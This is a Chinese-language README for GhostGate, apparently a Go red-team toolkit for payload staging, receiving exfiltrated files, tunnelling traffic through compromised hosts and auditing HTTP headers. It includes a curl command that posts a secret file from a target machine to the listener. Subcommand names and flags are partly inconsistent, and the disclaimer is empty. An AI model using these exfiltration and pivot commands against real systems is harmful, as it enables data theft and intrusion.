KieranPritchard/GhostGate
GitHub: KieranPritchard/GhostGate
GhostGate 是一个基于 Go 的多功能网络安全工具包,为渗透测试和红队演练提供 payload 投递托管、数据外发监听、中转隧道和 HTTP 安全配置审计等一体化操作能力。
Stars: 0 | Forks: 0
# GhostGate
GhostGate 是一个基于 Go 的多功能网络工具包,专为渗透测试、红队演练和安全审计而设计。它简化了搭建 payload 投递环境、运行数据外发处理器、建立反向/中转隧道以及进行快速 HTTP 安全配置审计的流程。
## 功能
* **Payload 投递 (`stage`):** 即时托管并将 payload 从源目录投递到指定的目标暂存路径。
* **数据外发监听器 (`upload`):** 建立一个 HTTP POST 端点,以安全地接收从目标机器外发的文件。
* **中转隧道 (`tunnel`):** 启动反向代理/隧道服务器,通过已被攻陷或中介的主机进行流量中转。
* **配置审计 (`audit`):** 对目标 URL 执行主动的 HTTP 安全标头和配置审计,并提供自动化分析。
* **内置清理与校验:** 自动校验并清理输入的端口、URL 和文件路径,以防止运行期间发生结构性中断。
## 安装与设置
1. 克隆代码库并导航至项目目录:
```
git clone https://github.com/yourusername/GhostGate.git
cd GhostGate
```
2. 初始化默认配置文件:
```
go run main.go init
```
*这将使用预设的端口、payload 目录和路径默认值生成一个配置文件。*
## 用法
GhostGate 采用基于子命令的 CLI 架构。请使用下方详述的主要模块之一来运行该工具:
### 1. Payload 投递 (`stage`)
托管包含工具或 payload 的本地目录。
```
go run main.go stageDir -p -f -s
```
| 参数 | 默认值 | 描述 |
| --- | --- | --- |
| `-p` | `cfg.DefaultPort` | 用于托管投递服务器的端口号。 |
| `-d` | `cfg.DefaultPayloadsDirectory` | 投递目录的目标路径。 |
| `-s` | *无(必填)* | 本地源 payload 目录的文件路径。 |
### 2. 数据外发监听器 (`upload`)
启动一个专门配置的 HTTP 服务器,用于通过 POST 请求接收原始二进制文件或文本数据。
```
go run main.go uploadFile -p -u
```
| 参数 | 默认值 | 描述 |
| --- | --- | --- |
| `-p` | `cfg.DefaultPort` | 绑定数据外发监听器的端口号。 |
| `-u` | `cfg.DefaultURLPath` | 监听器接受上传的 URI 端点(例如 `/upload`)。 |
| `-d` | "uploads" | 用于存储上传文件的目标文件夹。 |
**测试外发:**
你可以在目标机器上使用 `curl` 测试监听器:
```
curl -X POST --data-binary @secret.txt -H 'X-File-Name: secret.txt' http://:/upload
```
### 3. 中转隧道服务器 (`tunnel`)
充当 HTTP 反向代理,将服务器接收到的传入流量路由到指定的目标目的地。
```
go run main.go tunnel -u -p
```
| 参数 | 默认值 | 描述 |
| --- | --- | --- |
| `-u` | *无(必填)* | 你希望将流量隧道传输到的目标 URL。 |
| `-p` | `cfg.DefaultPort` | 用于托管隧道端点的本地端口。 |
**与隧道交互:**
```
curl -X GET http://:/
```
### 4. 配置审计器 (`auditCon`)
向目标应用程序发送主动 HTTP 请求,以分析其响应标头、SSL 配置以及整体安全态势。
```
go run main.go auditCon -u
```
| 参数 | 默认值 | 描述 |
| --- | --- | --- |
| `-u` | *无(必填)* | 要进行主动扫描和审计的目标 URL。 |
## 项目结构
```
GhostGate/
├── config/ # Handles configuration files and defaults via Viper
├── internal/
│ ├── essentail/ # Core operational logic (Staging, Auditing, Uploading)
│ ├── networking/ # Network utilities (e.g., pulling outbound IPs)
│ ├── sanitation/ # Cleans and normalizes CLI arguments
│ └── validation/ # Validates structural safety of inputs (Ports, paths, URLs)
└── main.go # Application entrypoint and CLI router
```
## 免责声明
标签:Go语言, 数据外发, 文档结构分析, 日志审计, 程序破解, 网络信息收集, 网络隧道